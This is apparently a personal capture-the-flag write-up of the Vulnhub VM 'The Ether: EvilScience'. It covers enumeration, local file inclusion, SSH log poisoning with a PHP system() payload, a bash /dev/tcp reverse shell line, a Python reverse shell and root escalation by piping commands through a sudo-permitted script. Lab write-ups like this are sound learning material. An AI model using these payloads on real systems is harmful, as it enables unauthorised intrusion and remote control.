The Ether: EvilScience – Vulnhub Writeup


I was all set to get started on another VM (g0rmint) but ultimately couldn’t get networking to work with it under VirtualBox using NAT/bridge/host-only or any other type of adapter and trying out other misc. settings.   Sad times.

So in its place I’ll be doing “The Ether”, another VM that was pretty recently posted to Vulnhub.  The author hints this is not for beginners and hopes for some OSCPers to try it out so hopefully this should be a good challenge. 🙂

As always let’s start off by scanning for the target’s assigned IP:

nmap -sP

OS + service discovery scan, all ports:

nmap -O -sV -p- -T4

A quick telnet/SSH banner grab of the SSH service yields the sames results shown above.  Let’s navigate to the web server site and see what shows up.

Some initial observations:

  •  “” given in contact us page may be a login ID.
  • The research page could potentially be used to generate a word list (if needed)
  • The site use PHP, there is likely a PHP admin page.  We can check available pages for possible injection.

Looking at the page source didn’t yield anything fruitful.  Now to run nikto against the site.

Nikto didn’t yield much of use either.  It’s interesting to note the line:

Web Server returns a valid response with junk HTTP methods, this may cause false positives.

Can’t say I’ve seen that before.

Instead of my usual dirbuster I think I’ll try out gobuster + seclist this time around.  The main difficulty here was picking the one of many specialized word-lists to use to enumerate paths on the web server.

I tried these two first:

  1. raft-medium-words.txt
  2. PHP.fuzz.txt

Nothing, also tried my more typical “/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt” but only found 2 directories: /images/ & /layout/

For some practice I also built an additional word-list from the 3rd page using cewl:

cewl -w etherlist.txt -d 2 -m 3

-d : depth of links to follow + crawl from target page
-m: minimum word size in letters

Yet again…

No robots.txt, no admin directories I could find.  Let’s move on to testing out some injection methods in the path.

I tried some command injection via the path “” and while I do get on-page feedback I couldn’t initially get commands to actually execute properly.  See below example.

If you scroll through the noise you will eventually see feedback on command usage only.  “/bin/ls” and “/usr/bin/whoami” had the same results.

I tried a TON of commands/path enumeration here but kept getting the same results.  Thank you LukeAmonsec for providing the following clues/resources to move me forward here:


I also took the opportunity to download the updated VM from the author’s page found here:

While trying not to get too into possible spoilers some people were having issues with the original so decided I should save myself any possible future frustration.

Even with the hints above it took several attempts before I got usable information to go on.  I tried a handful of dotdotpwn scans initially but was unable to single out any exploitable results.  Manual LFIs at least on the list from the cheat sheet above didn’t work.  Using BurpSuite/Intruder I ran the recommended fuzz list (JHADDIX_LFI.txt from SecLists)  and though it took quite a while to run….I finally got a hit!

As you can see here I actually got a full readout of the log entry.  To further test, I  attempted to log into SSH and then used the “copy as curl command” feature in Intruder to manually run the same payload again via command line.

curl -i -s -k -X $’GET’ \
-H $’User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0′ -H $’Upgrade-Insecure-Requests: 1′ \

And there at the end are my failed login attempts.  But how can we exploit this log file or how the log file is read in via the URL path?

I found an article addressing exactly this scenario.  Note that when attempting log poisoning the syntax is extremely important and you may only get one try.  Create a revert-back-to point before attempting in case you make any mistakes and need to restart the logs.  What eventually worked for me:

ssh ‘<?php echo system($_GET[‘c’]);?>’@

And then I followed up with a curl command to test out command execution.

curl ‘’

As you can see appended to the newest log entry are the command results of the “id” which is “www-data”.  Let’s also get a directory listing.

I also found a quick URL encoder to make things easier on myself going forward.  Let’s see if we can create a reverse shell back to our Kali box.

I first tried pentestmonkey’s bash shell:

bash -i >& /dev/tcp/ 0>&1

Full Command:

curl ‘’

That didn’t work, so I tried Python instead.  A couple iterations later and I had to use a different encoder but it WORKED.

curl ‘’

There’s a /home/evilscience/ directory but all the juicy looking files are off limits with my permission set.

Hopefully no one ever looks at /var/www/html/

Inside of /var/www/html/ there is a file named “” with pretty interesting contents:

It’s a huge base64-encoded python script.  Let’s try running it.

It gives me access to view two log files.  The first isn’t particularly useful to me because I already have rights to view it anyway.  But when I try out looking in the /var/log/apache2/ dir I see I don’t have access to that directory  So this is running under some sort of elevated rights.

The question now is…is there a way I can breakout of the options presented, or exploit the running credentials to tack on other commands?

I wasn’t precisely correct.  A check of the sudo privileges for www-data yields the following (so current user has sudo):

Tried a ! or : escape attempt from within the program and those didn’t work:  just got an error for “Invalid log”.  I tried loading files that weren’t in the list, nope.  Semicolon command?  Nope.  Pipe?  YES.

So I copied the /root/flag.png to the public directory so I could easily download it to my machine.

But upon viewing..

I copied it over to Kali and looked at it with binwalk.

Then strings which yielded this:

Some sort of encoded text…my guess of base64 is correct and we see:


october 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!

October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.

October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.

October 4, 2017.
Observing other candidates react to the injections. The ether seems to work for some but not for others. Keeping close observation on female specimen on October 3rd.

October 7, 2017.
The first flatline of the series occurred. The female subject passed. After decreasing, muscle contractions and life-like behaviors are still visible. This is impossible! Specimen has been moved to a containment quarantine for further evaluation.

October 8, 2017.
Other candidates are beginning to exhibit similar symptoms and patterns as female specimen. Planning to move them to quarantine as well.

October 10, 2017.
Isolated and exposed subject are dead, cold, moving, gnarling, and attracted to flesh and/or blood. Cannibalistic-like behaviour detected. An antidote/vaccine has been proposed.

October 11, 2017.
Hundreds of people have been burned and buried due to the side effects of the ether. The building will be burned along with the experiments conducted to cover up the story.

October 13, 2017.
We have decided to stop conducting these experiments due to the lack of antidote or ether. The main reason being the numerous death due to the subjects displaying extreme reactions the the engineered virus. No public announcement has been declared. The CDC has been suspicious of our testings and are considering martial laws in the event of an outbreak to the general population.

–Document scheduled to be shredded on October 15th after PSA.



THE END.  🙂  Great VM and it ended up taking me a lot longer than I initially thought it would.  I’m not very practiced with LFI exploitation or log poisoning so had to do a lot of background learning and trial & error with both.